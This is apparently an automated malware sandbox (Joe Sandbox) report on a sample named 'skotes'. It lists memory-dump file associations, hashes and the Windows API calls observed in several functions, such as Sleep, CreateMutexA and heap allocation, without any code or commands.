Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: d62da64e92b7edcdaef512ac3be18157e5153e1e850d587b9cd2ca9982a436d7
Instruction ID: 5b1af35c9e400c2540e32e945220b406c082f365ffe470ee77062e752783d56b
Opcode Fuzzy Hash: d62da64e92b7edcdaef512ac3be18157e5153e1e850d587b9cd2ca9982a436d7
Instruction Fuzzy Hash: F8214C71614204DBEB18AF68ECD9B3DB775FFC1314F204229E608D72D6D7BA5D908611

Function 001FA856 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: 74a761317416af5d84f8ab9044c09ba182369757434090d737d9a930637a3c84
Instruction ID: 2961a0d076c59870f1e815c6bc0a1d50ad3d4876239b0aca445d5c10034a06ee
Opcode Fuzzy Hash: 74a761317416af5d84f8ab9044c09ba182369757434090d737d9a930637a3c84
Instruction Fuzzy Hash: 7F216DB12552099AFB2867E8989A73DB251EF81745FA04826E74CD72C2CBFE49818153

Function 001FA34F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: 68ec271e5825cc1a81a091bbff0f7afc7d7dd0c268f3dfac804aef18029109da
Instruction ID: 2a98b1c68dc9ba1b661539df2bd8f7425dfbe8814b33a20a18bc13c10e7798d0
Opcode Fuzzy Hash: 68ec271e5825cc1a81a091bbff0f7afc7d7dd0c268f3dfac804aef18029109da
Instruction Fuzzy Hash: CC21A9722103089BEB08DB68EC9973CB776FFC1319F604229E60CD73D5C7BA69808612

Function 0022D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0022A813,00000001,00000364,00000006,000000FF,?,0022EE3F,?,00000004,00000000,?,?), ref: 0022D871

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 388a386cabe8ee4dc6263ce3b40eb51ef46ca9636b344f59205dad513f9c8644
Instruction ID: 190d7998f123f54095e5d3f067ac12ccecf770860fe3f724d126cfbd60e36e8e
Opcode Fuzzy Hash: 388a386cabe8ee4dc6263ce3b40eb51ef46ca9636b344f59205dad513f9c8644
Instruction Fuzzy Hash: A6F0B43553523676BB212EE2BC05AAB7759DB45370B158021AD0897181DA20D83285E2

Non-executed Functions

Function 001F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001F2F5F
GetCurrentThreadId.KERNEL32 ref: 001F2F7E
__Mtx_unlock.LIBCPMT ref: 001F2FCC
__Cnd_broadcast.LIBCPMT ref: 001F2FE3
__Mtx_unlock.LIBCPMT ref: 001F30F5
GetCurrentThreadId.KERNEL32 ref: 001F3132
__Mtx_unlock.LIBCPMT ref: 001F319B

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: e586b43d7689ac2742956cb5a13784240cc823be45689e06a51fa25c0ca3b2b5
Instruction ID: 13a296a76315b044c2b8fe2b7f072974000c78078681a0c65b01e1256749f87d
Opcode Fuzzy Hash: e586b43d7689ac2742956cb5a13784240cc823be45689e06a51fa25c0ca3b2b5
Instruction Fuzzy Hash: 2EA1D2B0A153099FDB21DF64C944B6AB7B8FF15310F14822AE925D7682EB31EA14CBD1

Function 0022CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0022CC66

Strings

v", xrefs: 0022CBE1

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
